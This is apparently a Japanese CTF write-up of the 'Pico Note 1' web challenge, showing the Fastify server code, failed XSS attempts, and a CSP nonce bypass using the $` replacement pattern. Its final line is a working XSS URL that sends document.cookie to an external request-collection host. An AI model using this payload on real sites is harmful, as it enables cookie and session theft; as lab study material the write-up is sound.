Open roaris opened 2 months ago
XSSが発動するURLをクローラに報告し、クローラに設定されたCookieを取得する形式の問題
サーバの実装 CSPが設定されていることに着目する また、replace関数を使ったテンプレートエンジン(render関数)が使われている
import Fastify from "fastify";
import crypto from "node:crypto";
import { promises as fs } from "node:fs";
const app = Fastify();
const PORT = 3000;
// A simple template engine!
const render = async (view, params) => {
const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" });
const html = Object.entries(params).reduce(
(prev, [key, value]) => prev.replace(`{{${key}}}`, value),
tmpl
);
return html;
};
app.addHook("onRequest", (req, res, next) => {
const nonce = crypto.randomBytes(16).toString("hex");
res.header("Content-Security-Policy", `script-src 'nonce-${nonce}';`);
req.nonce = nonce;
next();
});
app.get("/", async (req, res) => {
const html = await render("index", {});
res.type("text/html").send(html);
});
app.get("/note", async (req, res) => {
const title = String(req.query.title);
const content = String(req.query.content);
const html = await render("note", {
nonce: req.nonce,
data: JSON.stringify({ title, content }),
});
res.type("text/html").send(html);
});
app.listen({ port: PORT, host: "0.0.0.0" });
テンプレート
{{nonce}}
と{{data}}
がrender関数によって置き換えられる
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Pico Note</title>
<link
href="https://fonts.googleapis.com/css2?family=Noto+Emoji&family=Press+Start+2P&display=swap"
rel="stylesheet"
/>
<link
href="https://unpkg.com/nes.css@2.3.0/css/nes.min.css"
rel="stylesheet"
/>
<style>
body {
font-family: "Press Start 2P", "Noto Emoji", sans-serif;
background-color: #212529;
color: #fff;
max-width: 56rem;
margin: auto;
padding: 3rem;
display: flex;
gap: 2rem;
flex-direction: column;
justify-content: start;
}
</style>
</head>
<body>
<h1>Pico Note</h1>
<div class="nes-container is-dark with-title">
<p id="title" class="title"></p>
<p id="content"></p>
</div>
<div style="display: flex; justify-content: center">
<button id="back" type="button" class="nes-btn">Back</button>
</div>
<script nonce="{{nonce}}">
const { title, content } = {{data}};
document.getElementById("title").textContent = title;
document.getElementById("content").textContent = content;
document.getElementById("back").addEventListener("click", () => history.back());
</script>
</body>
</html>
入力値(クエリパラメータのtitleとcontent)がJavaScriptの文字列リテラルとして反映されていることが分かる
titleを"-alert(1)-"
にしてよう
{"title":""-alert(1)-"","content":"ijklmnop"}
となることを期待している
"がエスケープされて、\"になっている
今度はtitleを\"-alert(1)-\"
にしてみよう
エスケープ処理に不備があって、\のエスケープがされていないなら、{"title":"\\"-alert(1)-"\\","content":"ijklmnop"}
となり、\\で\のエスケープと解釈され、alert(1)が実行される
\もちゃんとエスケープされて、\\になっている
このエスケープは
const html = await render("note", {
nonce: req.nonce,
data: JSON.stringify({ title, content }),
});
のJSON.stringifyでされている JSON.stringifyはJavaScriptの組み込み関数なので、この処理に不備があるとは考えにくい
次にtitleを</script><script>alert(1)</script>
にする
元々のscriptタグを終了させて、新しいscriptタグを作ることが出来た
しかし、alert(1)は実行されない
CSP(今回の場合、script-src: 'nonce-xxx'
)が設定されているためである
CSPをなんとかbypass出来ないか考える
CSPはレスポンスヘッダ以外にもmetaタグで設定出来る
例 : <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-6c951d6e49503a64fe25c9e85c9539dc'" />
metaタグでCSPを上書き出来ないか試してみる script-srcにunsafe-inlineを指定して、どんなインラインスクリプトでも実行できるようにする
content=\"script-src 'unsafe-inline'\"
となってしまっている時点で無理そうだが、ブラウザで確認すると
The Content Security Policy '\"script-src' was delivered via a <meta> element outside the document's <head>, which is disallowed. The policy has been ignored.
というエラーメッセージ そりゃそうだという気になる(もしこれが成功したら、CSPの意味がなくなるので)
この問題は、テンプレートエンジンで使われているreplace関数の仕様に着目する必要がある
第二引数に$`を含めると「一致した部分文字列の直前の文字列の部分を挿入します」とのこと どういうことか確かめる
> "abcdefgh".replace("c", "x")
< 'abxdefgh'
> "abcdefgh".replace("c", "$`x")
< 'ababxdefgh'
とりあえず、titleを$`にしてみる 選択範囲が$`の部分である nonceが付与されたscriptタグを増やすことが出来た
後は試行錯誤するだけ
titleを, contentを$`alert(1)にすると上手くいく
もちろん、const { title, content } = alert(1)
でエラーは出るが(Uncaught TypeError: Cannot destructure property 'title' of 'alert(...)' as it is undefined.
)、alert(1)自体は実行される
後はRequest Basketsなどを使ってフラグを回収出来る
http://web:3000/note?title=</script>&content=$`fetch('https://rbaskets.in/5wf3qzb?'%2Bdocument.cookie)</script>
をクローラに報告 document.cookieの前の%2Bは+のURLエンコード(+だとURLデコードした時にスペースになってしまうので上手くいかない)
https://alpacahack.com/challenges/pico-note-1 時間内に解けなかった問題